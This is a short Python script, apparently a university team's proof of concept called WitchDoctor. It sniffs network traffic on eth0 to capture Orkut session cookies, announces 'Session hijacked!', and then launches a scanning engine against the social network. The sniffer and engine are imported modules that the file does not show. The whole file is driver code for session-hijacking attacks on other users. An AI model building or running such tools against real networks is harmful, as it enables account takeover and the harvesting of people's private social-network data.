#!/usr/bin/env python
#
# UFPE - CIn
#
# Equipe:
# Andre Braga    - login?
# Andre Guedes   - agl
# David Aragao   - dlla
# Jesus Palencia - jspff

from cookiesniff import CookieSniff
from engine import engine

def main():
    print """WitchDoctor - A PoC for Social Networks Exploration.

    Please log on Orkut... (waiting)"""
    fileIn = open("./cookies/cookies.in", "r")
    fileOut = open("./cookies/orkut.txt", "w")
    fileOut.writelines(fileIn.readlines())
    fileOut.close()
    fileIn.close()

    orkutSniffer = CookieSniff("eth0", "./cookies/orkut.txt")
    orkutSniffer.go()

    print """
    Session hijacked!
    Witchdoctor is going to start scanning. It may take a long time ;)"""

    engine()


main()
